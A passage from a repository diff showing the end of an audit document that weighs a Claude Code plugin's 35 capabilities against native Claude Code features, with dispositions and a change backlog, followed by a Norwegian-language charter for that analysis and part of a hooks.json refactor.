Voyage sits on a host (CC) that has absorbed most of what a 2024-era "agent orchestration" plugin differentiated on: parallel sub-agent spawn, nesting, native `effort:`, plan mode, MCP, hooks, the Workflow tool. The audit's structural finding is that **CC absorbed the *primitives*, not the *contracts*.** Across all 35 capabilities, every CC overlap is `cc_partial` or `cc_absent` — CC ships the spawn/ask/hook/MCP engine, but never:
|
||||
|
||||
- a **versioned, semver-stable, PUBLIC artifact schema** an unrelated upstream producer can target (Handover 1),
|
||||
- a **typed cross-session work-state checkpoint** with auto-discovery and zero-confirm resume (Handover 7),
|
||||
- a **standing per-handover validator library** that gates the pipeline on written-artifact frontmatter,
|
||||
- or the **opinionated domain policy** (research angles, review taxonomy, manifest predicates) a user would otherwise hand-author every run.
|
||||
|
||||
**So the balance is:**
|
||||
|
||||
- **Where CC has no engine (most KEEPs)** — brief contract, plan-schema enforcement, manifest audit, progress/resume, session-state, triangulation, the handover contract itself — Voyage is genuinely additive. KEEP.
|
||||
- **Where CC has the engine (the THIN_WRAPs)** — research/exploration/reviewer swarms, the research interview, the Gemini bridge, observability — Voyage's job is to **ride the native primitive and add only the thin policy**, never to re-host the engine. THIN_WRAP, with a standing obligation to delegate the engine to CC.
|
||||
- **Where the wrapper's own contract layer is thin or empty (the over-keeping edge)** — a "do-not-editorialize" pass-through agent, text reformatting, a re-hosted telemetry collector, a dormant measured-dead agent — the accessibility defense is rhetorical, and these are the DROP/downgrade candidates.
|
||||
|
||||
---
|
||||
|
||||
## 3. Phase 3 disposition matrix (Verification #1)
|
||||
|
||||
Each capability appears exactly once. Inventory count (35) = matrix rows (35). Axis A: `nb`=cc_native_better, `eq`=cc_native_equal, `pt`=cc_partial, `ab`=cc_absent. Axis B gap: H/M/L/none. **Adv** = per-capability adversarial verdict (— = not in KEEP/DROP scope). **B** = acting on it would change a handover contract. **P** = touches an operator-pinned decision.
|
||||
|
||||
| ID | Capability | A | B | Disposition | Adv | B | P | Why (one line) + evidence-ref |
|
||||
|----|-----------|---|---|-------------|-----|---|---|-------------------------------|
|
||||
| V01 | Interactive brief interview | pt | M | **KEEP** | upheld | · | P | Engine = AskUserQuestion; value = the completeness loop that emits Handover-1 `brief.md`. `brief-validator.mjs` |
|
||||
| V02 | Framing-intent gate | ab | H | **KEEP** | upheld | · | P | No native typed-enum non-skippable input gate; `BRIEF_*FRAMING` codes. `brief-validator.mjs:110-154` |
|
||||
| V03 | Per-phase effort signals | ab | H | **KEEP** | upheld | · | P | Native `effort:` is per-spawn reasoning, a *different* axis; no pipeline-wide phase signal. `HANDOVER-CONTRACTS.md §1` |
|
||||
| V04 | Brief quality review + revise loop | ab | H | **KEEP** | upheld | · | P | No native draft→review→revise rubric loop; spawn ≠ engine. `brief-reviewer.md` |
|
||||
| V05 | Memory-alignment defense | ab | H | **KEEP** | upheld | **B** | P | MEMORY.md is passive context; no native brief-vs-memory contradiction gate. `brief-reviewer.md:160-186` |
|
||||
| V06 | Brief→pipeline auto-orchestration | ab | M | **KEEP** | upheld | · | · | Skill tool is one-shot; Workflow can't span slash-command/handover boundaries. `T2` |
|
||||
| V07 | Research interview | pt | M | **THIN_WRAP** | — | · | · | AskUserQuestion is the engine; keep only the 4-dim/2-4-Q interview policy. `trekresearch.md §2` |
|
||||
| V08 | External research swarm | pt | H | **THIN_WRAP** | — | · | P | CC ships parallel-spawn+WebSearch+MCP; keep the 4-angle decomposition + schemas. `docs/community/security/contrarian` |
|
||||
| V09 | Gemini second opinion | eq | M | **THIN_WRAP** ⚠ | — | · | P | Engine = third-party `gemini-mcp`; agent is pure glue ("do not editorialize"). **DROP candidate (§4).** |
|
||||
| V10 | Triangulation + confidence | ab | H | **KEEP** | upheld | · | · | No native per-dimension confidence enum + weighted scalar. `trekresearch.md §6` |
|
||||
| V11 | Local exploration swarm | pt | H | **THIN_WRAP** | — | · | P | CC ships parallel Agent spawn; keep 7 typed roles + effort defaults + scaling. `agents/*` |
|
||||
| V12 | Plan synthesis + schema enforcement | ab | H | **KEEP** | upheld | · | · | No native plan schema/`--strict` validator; load-bearing handover. `plan-validator.mjs` |
|
||||
| V13 | Adversarial plan review | pt | H | **KEEP** | upheld | · | P | Spawn ≠ a 10-dim critic + scope-guardian + dedup workflow. `plan-critic.md` |
|
||||
| V14 | Architecture-note auto-discovery | ab | M | **KEEP** | upheld | · | · | No native canonical-path + fallback + drift-WARN discovery. `architecture-discovery.mjs` |
|
||||
| V15 | Plan export | pt | L | **SIMPLIFY** ⚠ | — | · | · | pr/issue/markdown = text reflow CC does ad-hoc; only `headless`(=decompose) has value. **DROP text variants (§4).** |
|
||||
| V16 | Session decomposition | ab | H | **KEEP** | upheld | · | P | `--resume`/TodoWrite carry no dependency parse/wave/spec/launch.sh. `session-decomposer.md` |
|
||||
| V17 | Disciplined step-execution loop | pt | H | **KEEP** | upheld | · | · | Manifest predicate (git-diff completion gate) has no CC-native analog. `trekexecute.md §6` |
|
||||
| V18 | Pre-exec + runtime safety guardrails | pt | H | **KEEP** | upheld | · | · | Native `permissions.deny` is a glob matcher; denylist is semantic regex. `pre-bash-executor.mjs` |
|
||||
| V19 | Multi-session parallel orchestration | ab | H | **KEEP** | upheld | · | · | `git worktree`+`claude -p` are leaves; wave/merge-gate/lock-race orchestration is Voyage. `trekexecute.md §2.6` |
|
||||
| V20 | Manifest audit + recovery dispatch | ab | H | **KEEP** | upheld | · | · | No native post-exec audit / self-report-distrust / depth-capped recovery. `trekexecute.md §7.5-7.6` |
|
||||
| V21 | Progress/resume contract | ab | H | **KEEP** | upheld | · | · | CC resume = conversation-level; no step status/attempts/SHA/drift. `progress` + `pre-compact-flush.mjs` |
|
||||
| V22 | Dry-run / validate modes | ab | M | **KEEP** | upheld | · | · | No native read-only preview of a multi-session execution strategy. `trekexecute.md §5/§2.3` |
|
||||
| V23 | Deterministic review triage gate | ab | M | **KEEP** | upheld | · | · | Native `/code-review` has no path classifier / refuse-gate / Coverage. `trekreview.md §4` |
|
||||
| V24 | Independent reviewer swarm | pt | H | **THIN_WRAP** | — | · | · | CC ships fan-out; keep rule-catalogue + schema + no-cross-feed + taxonomy. `lib/review/*` |
|
||||
| V25 | Review coordinator / Judge | ab | H | **KEEP** | upheld | · | · | No native multi-reviewer dedup + filter + verdict layer. `review-coordinator.md` |
|
||||
| V26 | Review→remediation handover | ab | H | **KEEP** | upheld | · | · | No native typed cross-stage handover (severity→goal, source_findings). `review-validator.mjs` |
|
||||
| V27 | Review Workflow substrate option | pt | H | **SIMPLIFY** | — | · | · | Opt-in port; +4.4% tokens/+54% wall-time, CC≥2.1.154 floor. Keep as opt-in, don't expand. `T2` |
|
||||
| V28 | Session-state + zero-friction resume | ab | H | **KEEP** | upheld | · | · | `--resume` replays a transcript, not a typed work-state. `session-state-validator.mjs` |
|
||||
| V29 | Structured-artifact handover contract | ab | H | **KEEP** | upheld | · | · | **The load-bearing value.** Workflow types I/O within one session, not a public cross-stage contract. `HANDOVER-CONTRACTS.md` |
|
||||
| V30 | Profile system + native effort axis | pt | M | **KEEP** | upheld | · | P | Native model key is single-spawn; profiles span the whole multi-session run. `resolver.mjs` |
|
||||
| V31 | Autonomy gates | ab | H | **KEEP** | upheld | · | P | Plan mode gates one boundary; no mid-exec per-phase/wave pause policy. `autonomy-gate.mjs` |
|
||||
| V32 | Observability export | pt | H | **THIN_WRAP** ⚠ | — | · | · | CC ships Stop-hook+OTEL passthrough; exporters/guards re-host collector logic. **DROP candidate (§4).** |
|
||||
| V33 | Operator annotation HTML | ab | M | **SIMPLIFY** | revised (KEEP→SIMPLIFY) | · | · | No native line-anchored note UI, but it's a generic md tool, not a pipeline capability. `scripts/annotate.mjs` |
|
||||
| V34 | Artifact schema validators | ab | M | **KEEP** | upheld | · | · | Workflow schemas type one tool boundary; these validate persistent artifacts. `lib/validators/*` |
|
||||
| V35 | Internal architecture artifacts | ab | none | **SIMPLIFY** ⚠ | — | · | P | Dormant synthesis-agent (Δ=0) + non-spawned orchestrator docs. **DROP dormant half (§4).** |
|
||||
|
||||
⚠ = flagged by the over-keeping meta-critic as a downgrade candidate beyond its workflow disposition (§4).
|
||||
|
||||
---
|
||||
|
||||
## 4. The zero-DROP finding & over-keeping meta-review (Verification #5)
|
||||
|
||||
**The honest gap:** the per-capability adversarial pass challenged all 26 KEEP classifications (25 upheld, 1 revised: V33 KEEP→SIMPLIFY) — but because the classification produced **zero DROP→NATIVE**, the charter's "challenge ≥1 DROP→NATIVE" criterion had nothing to operate on. A self-audit concluding "drop nothing" is the exact pattern a skeptic should distrust. So a dedicated **over-keeping meta-critic** attacked the outcome and the recurring "primitive vs typed-contract" defense.
|
||||
|
||||
**Meta-critic verdict:** the zero-DROP outcome is **over-keeping at the edges**. The "primitive vs typed-contract" distinction is *load-bearing* for V08/V11/V24 (real policy a user must re-author every run) but *rhetorical* where the contract layer is itself thin or empty. Four downgrade candidates:
|
||||
|
||||
| Cap | Workflow said | Meta-critic says | Native path / what's lost | Contested? |
|
||||
|-----|---------------|------------------|---------------------------|-----------|
|
||||
| **V09** Gemini bridge | THIN_WRAP | **DROP→NATIVE** | Call `gemini-mcp` tools inline; agent explicitly *doesn't* reason → opus-on-glue is pure waste. The classify pass *also* flagged opus wasted here. | Low — both passes agree |
|
||||
| **V15** plan export (pr/issue/markdown) | SIMPLIFY | **DROP the 3 text variants** | Ask auto-mode to reformat ad-hoc; only `--export headless` (=decomposition) survives, and that's V16 wearing a flag. | Low |
|
||||
| **V32** observability export | THIN_WRAP | **DROP→NATIVE candidate** | Point OTEL env vars at a standard OTLP collector (which owns allowlists/egress); exporters re-host the collector. | **High** — code-verified pass says SSRF/path/field guards are net-new; this is a genuine direct-export-vs-collector architecture choice. Operator decision. |
|
||||
| **V35** dormant synthesis-agent | SIMPLIFY | **DROP the dormant agent** | It's already dead (Δ=0, wired to nothing); orchestrator docs are docs, not capabilities. | Low |
|
||||
|
||||
**Caveat for the operator:** the meta-critic reasoned from the disposition table, not from re-reading the code, whereas the per-capability passes cite `file:line`. Treat V32 as genuinely contested. V09/V15/V35 are low-contest because both layers of analysis converge.
|
||||
|
||||
**Bottom line (meta-critic, verbatim sense):** dropping V09 + V15-text + (probably) V32 and demoting V35's dead agent *trims the edges decisively but does not move the headline* — the typed-handover + multi-session core is untouched and remains the only thing that justifies the plugin's existence.
|
||||
|
||||
---
|
||||
|
||||
## 5. Target-form for Voyage
|
||||
|
||||
What Voyage should *be*, given modern CC:
|
||||
|
||||
1. **A contract layer, not an orchestration engine.** Lead with the 7 typed handovers + multi-session discipline (V28/V29 + the validators V34). Stop marketing swarm-context-relief; it's measured Δ≈0.
|
||||
2. **A thin accessibility skin over native CC engines** for everything CC now does well: research/exploration/reviewer swarms should *visibly delegate* to native parallel Agent spawn + AskUserQuestion + Stop hooks, adding only the opinionated policy (angles, roles, taxonomy, schemas). Never re-host an engine.
|
||||
3. **Opinionated defaults that encode best practice** so a non-CC-expert gets disciplined planning/execution/review without knowing the harness — this is the durable Axis-B justification, confirmed `high_gap` on the execution and review cores.
|
||||
4. **Lean at the edges:** no pass-through agents paying opus to forward bytes (V09), no hand-written reformatters for what auto-mode does ad-hoc (V15-text), no re-hosted telemetry collector unless the direct-export design is a deliberate, defended choice (V32), no dormant agents padding the capability count (V35).
|
||||
|
||||
---
|
||||
|
||||
## 6. Prioritized change backlog (Verification #6)
|
||||
|
||||
All items are **operator-gated** (scope-guard: analysis only). Tagged **[non-breaking]** / **[breaking]** and **[pinned]** where they touch an operator-pinned decision.
|
||||
|
||||
### Tier 1 — over-keeping trims (highest value, mostly non-breaking)
|
||||
|
||||
1. **[non-breaking][pinned]** **V09** — drop `gemini-bridge` as an opus agent; call `gemini-mcp` tools inline (or, if kept, downgrade opus→sonnet, since it explicitly does not reason). Touches the 24-opus pin → flag.
|
||||
2. **[non-breaking]** **V15** — drop the `pr`/`issue`/`markdown` export variants (auto-mode does the reflow ad-hoc); keep `--export headless` and relabel it as the decomposition entry it actually is.
|
||||
3. **[non-breaking, contested]** **V32** — decide direct-export-vs-collector explicitly. If a standard OTLP collector is acceptable, drop the custom exporters + reimplemented guards to native OTEL env-var passthrough; if direct export is a deliberate requirement, keep and document *why* (this is the one genuinely contested call).
|
||||
4. **[non-breaking][pinned]** **V35** — strip the dormant `synthesis-agent`'s `model:opus`/`effort:high` frontmatter (or collapse it to a docs note); reclassify the 3 orchestrator reference docs as docs, not capabilities. Touches the 24-opus pin → flag.
|
||||
|
||||
### Tier 2 — THIN_WRAP hygiene (ensure delegate-the-engine, non-breaking)
|
||||
|
||||
5. **[non-breaking]** Audit V07/V08/V11/V24 implementations to confirm they ride native parallel-spawn / AskUserQuestion rather than hand-rolling, keeping only the policy layer. (Mostly already true — this is a standing guard against engine re-implementation, not a known defect.)
|
||||
6. **[non-breaking][pinned]** Reconsider opus-for-all on mechanical/retrieval roles: V11 retrieval agents (already `effort:medium`), V16 `session-decomposer` (dependency parsing is mechanical), V08 researchers. Each touches the 24-opus pin → flag, don't override.
|
||||
|
||||
### Tier 3 — surfaced risks (no action mandated)
|
||||
|
||||
7. **[non-breaking][pinned]** **V30** — the `economy` profile's Jaccard floor (0.55) is grounded in parked synthetic fixtures (Step 17 calibration deferred). It is self-declared experimental; either calibrate or label clearly. → **RESOLVED (S34): label, not calibrate.** Empirical calibration is v4.2-budget-gated ($60–120, unauthorized); instead `lib/profiles/economy.yaml` now carries `experimental: true` (validator type-checks it) and every profile doc flags the `economy` row. Pinned in `profile-validator.test.mjs` + `doc-consistency.test.mjs` — the flag must track the calibration's `parked-synthetic` status.
|
||||
8. **[non-breaking]** **V01** — minor: delegate the literal Q&A turn-taking to AskUserQuestion rather than a hand-rolled selection loop (internal hygiene; does not change the framing-gate or reviewer contract).
|
||||
|
||||
### Explicitly NOT recommended
|
||||
|
||||
- **No change to Handover 1** (brief schema) — the only public contract; any change is breaking. V02/V03/V05 stay.
|
||||
- **No wholesale Workflow substrate swap** (CC-27 DECLINED stands); keep V27 as opt-in only.
|
||||
- **No delegated-orchestration redesign** (CC-26 lean-NO stands; Δ=0).
|
||||
- **No reopening** of the premium-default-profile or framing-gate operator pins — flagged where touched, never overridden.
|
||||
|
||||
---
|
||||
|
||||
## 7. Verification checklist (charter §Verifisering)
|
||||
|
||||
| # | Criterion | Status |
|
||||
|---|-----------|--------|
|
||||
| 1 | Each capability appears exactly once with disposition + rationale + evidence-ref; inventory count == matrix rows | ✅ 35 == 35 (§3) |
|
||||
| 2 | Each "CC duplicate / does better" cites a specific CC feature + version | ✅ `cc_citation` per row (e.g. AskUserQuestion 2.0+, parallel Agent 2.1.154+, nesting 2.1.172, Workflow 2.1.154+, `effort:` 2.1.154, PreToolUse ~2.1.97, PreCompact 2.1.105) |
|
||||
| 3 | Each "lowers expertise bar" names the concrete native steps a non-expert would otherwise do | ✅ captured in `expertise_steps_if_native` / `concrete_native_steps_saved` per capability |
|
||||
| 4 | Post-2.1.181 delta actually run; latest version stated + each new item triaged | ✅ §1.1 — CC 2.1.183, 17 items triaged, none balance-relevant |
|
||||
| 5 | Adversarial pass challenged ≥1 KEEP and ≥1 DROP→NATIVE, with verdict | ⚠️ 26 KEEPs challenged (1 revised); **zero DROP→NATIVE were produced**, so that half was addressed by the over-keeping meta-critic (§4) which named 4 DROP/downgrade candidates with verdicts. Honest deviation from the literal criterion, documented. |
|
||||
| 6 | Output ends with a prioritized backlog, each item tagged breaking/non-breaking + operator-gated | ✅ §6 |
|
||||
|
||||
---
|
||||
|
||||
## 8. Hard constraints honored
|
||||
|
||||
- **Trinity asymmetry:** no recommendation changes the brief schema (Handover 1). Voyage stays unaware of Tier 2/3. The one capability marked `breaking` (V05, memory-alignment, bound to `brief_version 2.2`) is recommended **KEEP-as-is** — no breaking change proposed.
|
||||
- **Operator-pinned decisions:** premium default profile, 24-opus agents, framing-gate, plan-critic=10-dim, brief-reviewer=6-dim — all preserved. Where a backlog item brushes a pin (V09/V35 model frontmatter; opus-on-mechanical-roles; economy calibration), it is **flagged `[pinned]` and operator-gated**, never overridden.
|
||||
- **Analysis only:** every item in §6 requires an explicit operator gate before implementation.
|
||||
|
||||
---
|
||||
|
||||
## 9. Meta-note (dogfooding the Workflow tool)
|
||||
|
||||
Running this analysis *on* the CC Workflow tool produced first-hand evidence for the audit's own V27/V29 rows: the `pipeline()` shape gave clean coverage (35/35, no row dropped), schema-forced output eliminated JSON-parse fragility (the CC-27 F2 win, reconfirmed), and the conditional adversarial stage worked. Costs also reconfirmed: ~2.97M subagent tokens / 96 agents / 4.6 min for a 35×3 fan-out — Workflow is a good substrate for *bounded, verifiable, parallel* fan-out, exactly the ~20% core CC-27 identified, and a poor fit for the ~80% judgment-heavy glue (scout + synthesis, which ran inline in main context here). This is dogfooding of the **Workflow tool**, not of Voyage's pipeline (the latter was declined by the operator).
|
||||
|
||||
---
|
||||
|
||||
## 10. Decision record — resolved forks (operator, 2026-06-20)
|
||||
|
||||
§4/§6 deferred three forks to the operator. All three resolved to the
|
||||
**conservative** option (preserve the capability / the security code / the
|
||||
deliberate pin). The model and observability work therefore collapses from
|
||||
code-deletion to a documentation record; the only real code changes in the
|
||||
backlog are V15 (export trim, S31) and V30 (economy calibration, S34). These
|
||||
decisions are now the implemented baseline of the multi-session backlog plan
|
||||
(`docs/balance-backlog-plan.md`), shipped across S31–S34.
|
||||
|
||||
| Fork | Item | Resolution | What changed |
|
||||
|------|------|------------|--------------|
|
||||
| **D1** | V09 `gemini-bridge` | **Keep it as an agent.** | No removal / inline-rewiring. The capability count stays 24; its model is governed by D3 (stays opus). |
|
||||
| **D2** | V32 observability export | **Keep `lib/exporters/*` + `otel-export.mjs`; document the direct-export rationale.** | Doc-only — no deletion of S21 security code. The rationale (preserve the in-process path / SSRF / field-allowlist guards rather than re-host a collector) is recorded in `docs/observability.md` §"Why direct export rather than a native collector". |
|
||||
| **D3** | 24-agent `model: opus` pin (`40d8742`) | **Keep the pin firm.** | Document-only. opus on V09 (glue — does not reason), V35 (dormant `synthesis-agent`), V11 (retrieval agents, already `effort:medium`), V16 (`session-decomposer`, mechanical parsing), and V08 (researchers) was reconsidered for a sonnet downgrade and **kept opus**. **No agent frontmatter is changed** — `tests/lib/agent-frontmatter.test.mjs` remains the structural source-of-truth and is untouched. |
|
||||
|
||||
**Inventory framing (V35 doc half, reconciled).** The "24 agents" headline is
|
||||
**21 spawnable + 3 orchestrator reference docs**. The three orchestrators
|
||||
(`planning-/research-/review-orchestrator`) document the inline `/trek*`
|
||||
workflow and are not spawned as sub-agents. Of the 21 spawnable, one —
|
||||
`synthesis-agent` — ships **dormant** (Δ≈0, wired to nothing;
|
||||
`docs/T1-synthesis-poc-results.md`). Reconciled across `README.md`,
|
||||
`CLAUDE.md`, and this doc; pinned in `tests/lib/doc-consistency.test.mjs` (S33).
|
||||
|
||||
**V30 outcome (S34, the lone Tier-3 code item).** The economy-calibration fork
|
||||
also resolved conservatively: **label, do not calibrate.** The empirical run is
|
||||
v4.2-budget-gated ($60–120, unauthorized) and was never in scope here. Instead
|
||||
`economy`'s experimental status — previously prose-only in `docs/profiles.md` —
|
||||
now lives in the profile **data** (`lib/profiles/economy.yaml experimental: true`,
|
||||
type-checked by the profile-validator) and on every profile-doc `economy` row,
|
||||
pinned so the flag tracks the calibration's `parked-synthetic` status and is
|
||||
dropped in the same change that lands real calibration. This closes the backlog:
|
||||
all 8 §6 items disposed across S31–S34 (2 code: V15+V30; the rest doc/audit).
|
||||
|
||||
**Still explicitly NOT done** (out of scope, per the plan): no `gemini-bridge`
|
||||
removal (D1), no exporter deletion (D2), no model downgrade (D3), no Handover-1
|
||||
change, no Workflow substrate swap (CC-27 declined), no delegated-orchestration
|
||||
redesign (CC-26 lean-NO), no reopening of the premium-default / framing-gate pins.
|
||||
71
docs/voyage-vs-cc-balance-charter.md
Normal file
71
docs/voyage-vs-cc-balance-charter.md
Normal file
|
|
@ -0,0 +1,71 @@
|
|||
# Voyage-vs-CC Balance Analysis — Charter
|
||||
|
||||
**Status:** Launch-spec. **MANDATERT start på neste sesjon** (operatør 2026-06-20). Dette er ANALYSE-scope — anbefalinger only, operatør-gated FØR enhver implementasjon.
|
||||
|
||||
## Spørsmålet
|
||||
|
||||
Moderne Claude Code (2.1.183) gjør nativt mye av det Voyage en gang differensierte på (sub-agent-nesting, Workflow-tool, native `effort:`, plan mode, resume/state, Artifacts). Finn **balansen** der:
|
||||
|
||||
- **(Tilgjengelighet)** en bruker som IKKE er CC-ekspert fortsatt får Voyages verdi — Voyage koder beste praksis så du slipper å kunne harnessen.
|
||||
- **(Ikke-duplisering)** Voyage IKKE reimplementerer CC-features som CC gjør bedre nativt.
|
||||
|
||||
**Anker-funn fra S29 (ikke re-deriver):** CC-26/CC-27 konkluderte at orkestrerings-substratet i økende grad er nativt; CLAUDE.md innrømmer selv at «swarm relieves context»-påstanden er umålt (Δ ≈ 0), og at **strukturerte artefakt-handovers + multi-sesjon-disiplin er den bærende verdien**. Operatørens egen primærbruk: store oppgaver over flere sesjoner.
|
||||
|
||||
## De to beslutnings-aksene
|
||||
|
||||
For hver Voyage-capability:
|
||||
|
||||
- **Akse A — Duplikasjon:** Gjør dagens CC dette nativt? Gjør CC det *bedre*?
|
||||
- **Akse B — Ekspertise-bar:** Lar Voyages innpakning en ikke-CC-ekspert få verdien uten å kunne CC-internals?
|
||||
|
||||
**Disposition-vokabular (per capability):**
|
||||
|
||||
| Disposition | Når |
|
||||
|-------------|-----|
|
||||
| **KEEP** | Voyage-unik verdi (eller klart bedre), ikke duplikat. |
|
||||
| **THIN-WRAP** | CC gjør jobben; Voyages verdi er å senke ekspertise-baren / opinionated defaults. Behold et tynt lag, deleger motoren til CC. |
|
||||
| **DROP→NATIVE** | CC gjør det bedre OG ingen reell ekspertise-gap. Fjern fra Voyage; dokumentér den native veien. |
|
||||
| **SIMPLIFY** | Behold, men kast kompleksitet CC nå håndterer. |
|
||||
|
||||
**Spenningen som MÅ løses eksplisitt:** en feature CC gjør «bedre» rått kan likevel fortjene THIN-WRAP hvis rå CC krever ekspertise. Tilgjengelighet kan rettferdiggjøre en wrapper; den kan ikke rettferdiggjøre en re-implementasjon.
|
||||
|
||||
## Metode (faset — «alt av metoder» autorisert: agent-swarm / Workflow / web-research)
|
||||
|
||||
- **Phase 0 — Evidensbase (ikke re-deriver).** Les: CC-NN-matrisen (`docs/cc-upgrade-2.1.181-decision-matrix.md`), `docs/subagent-delegation-audit.md`, `docs/T1-*`/`docs/T2-*`-resultater, CLAUDE.md design-prinsipp-innrømmelsen, CC-26/27-dispositionene. **Kjør den utsatte post-2.1.181-delta-sjekken** (2.1.182→siste, via `claude-code-guide`/WebSearch) — matrisen stopper på 2.1.181.
|
||||
- **Phase 1 — Voyage capability-inventar.** Enumerér hver distinkte capability: 7 commands, 24 agenter, de 7 handovers, session-dekomponering, state/resume (`/trekcontinue`/`/trekendsession`), review-gates (plan-critic/scope-guardian/brief-reviewer/reviewere), framing-gate, rendering+annoterings-HTML, profiler, observability, autonomy-gates (`--gates`), headless/`-p`, lib-validatorer. Én rad per capability. (Fan ut lesere over commands/agents/lib/docs.)
|
||||
- **Phase 2 — CC-overlap-mapping.** Per capability: dagens CC-native ekvivalent (feature + versjon) + dom «gjør CC det bedre».
|
||||
- **Phase 3 — Dobbel-akse-klassifisering + adversarisk pass.** Klassifisér hver på A×B → disposition. Et contrarian/critic-pass utfordrer HVER KEEP («virkelig ikke duplikat?») og HVER DROP→NATIVE («virkelig ingen ekspertise-gap — ville en ikke-ekspert mistet verdien?»). Registrér utfordringene + verdiktene.
|
||||
- **Phase 4 — Syntese.** Mål-form for Voyage + en prioritert endrings-backlog (handling per capability), som **skiller ikke-breaking fra breaking** (Trinity Handover-1-kontrakten + operatør-pinnede beslutninger er harde constraints — flagg, ikke bryt i stillhet). Operatør-gated.
|
||||
|
||||
**Output-artefakt:** `docs/voyage-vs-cc-balance-analysis.md`.
|
||||
|
||||
## Eksekvering — Dynamic Workflow (operatør-autorisert 2026-06-20)
|
||||
|
||||
Substrat: CC **Workflow-tool** (Dynamic Workflow) — IKKE ad-hoc Agent-kall, og IKKE dogfood via Voyages egen pipeline (`/trekbrief`→`/trekplan`; avvist av operatør). Begrunnelse: analysen er en capability-for-capability audit med adversarisk utfordring + syntese = Workflow-toolets kanoniske mønster, som gir (i) **deknings-garanti** (pipeline over hele capability-lista → ingen rad faller ut, jf. Verifisering #1), (ii) **innebygd adversarisk-verify** (parallelle skeptikere per disposition, jf. #5), (iii) parallellitet + typede schemas.
|
||||
|
||||
**Hybrid-form** (per Workflow-toolets egen anbefaling «scout inline først, deretter pipeline over arbeidslista»):
|
||||
|
||||
1. **Scout inline (main-context):** Phase 0 evidens-lesing + post-2.1.181-delta (1 research-agent) + Phase 1 capability-inventar → produserer arbeidslista (capability-rader). Dømmekraft-tungt; fan-outes IKKE.
|
||||
2. **Workflow `pipeline()` per capability:** stage A = Phase 2 CC-overlap-map (m/ schema) → stage B = Phase 3 dobbel-akse-klassifisering (disposition-schema) → stage C = adversarisk verify (`parallel()` skeptikere som utfordrer KEEP/DROP→NATIVE).
|
||||
3. **Syntese inline (main-context):** Phase 4 — skriv `docs/voyage-vs-cc-balance-analysis.md` + backlog fra de verifiserte radene. Dømmekraft-tungt; fan-outes IKKE.
|
||||
|
||||
Avgrensning: Workflow dekker KUN den parallelliserbare, verifiserbare kjernen (Phase 2–3) — speiler CC-27-funnet «~80 % glue, ~20 % fan-out». **Meta-bonus:** å kjøre analysen på Workflow-toolet gir førstehånds-evidens til analysens egen CC-27-rad (er Workflow-toolet et godt substrat?) — dogfooding av Workflow-toolet, ikke av Voyage.
|
||||
|
||||
## Verifisering (testbare kriterier)
|
||||
|
||||
1. **Dekning:** hver capability fra Phase 1 opptrer nøyaktig én gang i Phase 3-matrisen med disposition + begrunnelse + evidens-ref. (Inventar-antall == matrise-rad-antall.)
|
||||
2. Hver «CC duplikat / gjør bedre» siterer en spesifikk CC-feature + versjon.
|
||||
3. Hver «senker ekspertise-bar» navngir de konkrete CC-native stegene en ikke-ekspert ellers måtte gjort.
|
||||
4. Post-2.1.181-delta faktisk kjørt: siste CC-versjon oppgitt + hvert nytt item triagert.
|
||||
5. Adversarisk pass utfordret ≥ 1 KEEP og ≥ 1 DROP→NATIVE, registrert med verdikt.
|
||||
6. Output ender med en prioritert endrings-backlog, hvert item tagget breaking/ikke-breaking og operatør-gated.
|
||||
|
||||
## Harde constraints (ikke bryt)
|
||||
|
||||
- **Trinity-asymmetri:** Voyage forblir uvitende om Tier 2/3; Handover 1 (brief-schema) er eneste integrasjonspunkt. Ingen anbefaling kan bryte den uten å flagges som public-contract breaking change.
|
||||
- **Operatør-pinnede beslutninger** (premium default-profil, 24 agenter opus-pinnet, etc.): analysen MÅ gjerne utfordre dem, men må merke dem operatør-pinnet, ikke overstyre i stillhet.
|
||||
- **Kun analyse:** anbefalinger + backlog. Ingen implementasjon uten egen operatør-gate (scope-guard).
|
||||
|
||||
## Kickoff (neste sesjon)
|
||||
|
||||
På kald start: les dette charteret + STATE, bekreft tilnærmingen (eller la operatør justere aksene/scope), start så Phase 0 (inline scout). Eksekver Phase 2–3 via **Dynamic Workflow** per «Eksekvering»-seksjonen (operatør-autorisert 2026-06-20). Charteret er skrevet S29 — ennå ikke committet (på disk i `docs/`, lesbart uansett).
|
||||
|
|
@ -6,7 +6,8 @@
|
|||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "node ${CLAUDE_PLUGIN_ROOT}/hooks/scripts/pre-bash-executor.mjs"
|
||||
"command": "node",
|
||||
"args": ["${CLAUDE_PLUGIN_ROOT}/hooks/scripts/pre-bash-executor.mjs"]
|
||||
}
|
||||
]
|
||||
},
|
||||
|
|
@ -15,7 +16,8 @@
|
|||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "node ${CLAUDE_PLUGIN_ROOT}/hooks/scripts/pre-write-executor.mjs"
|
||||
"command": "node",
|
||||
"args": ["${CLAUDE_PLUGIN_ROOT}/hooks/scripts/pre-write-executor.mjs"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -25,7 +27,8 @@
|
|||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "node ${CLAUDE_PLUGIN_ROOT}/hooks/scripts/session-title.mjs"
|
||||
"command": "node",
|
||||
"args": ["${CLAUDE_PLUGIN_ROOT}/hooks/scripts/session-title.mjs"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -36,7 +39,8 @@
|
|||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "node ${CLAUDE_PLUGIN_ROOT}/hooks/scripts/post-bash-stats.mjs"
|
||||
"command": "node",
|
||||
"args": ["${CLAUDE_PLUGIN_ROOT}/hooks/scripts/post-bash-stats.mjs"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -46,7 +50,8 @@
|
|||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "node ${CLAUDE_PLUGIN_ROOT}/hooks/scripts/pre-compact-flush.mjs"
|
||||
"command": "node",
|
||||
"args": ["${CLAUDE_PLUGIN_ROOT}/hooks/scripts/pre-compact-flush.mjs"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -56,7 +61,8 @@
|
|||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "node ${CLAUDE_PLUGIN_ROOT}/hooks/scripts/post-compact-flush.mjs"
|
||||
"command": "node",
|
||||
"args": ["${CLAUDE_PLUGIN_ROOT}/hooks/scripts/post-compact-flush.mjs"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -66,7 +72,8 @@
|
|||
"hooks": [
|
||||
{
|
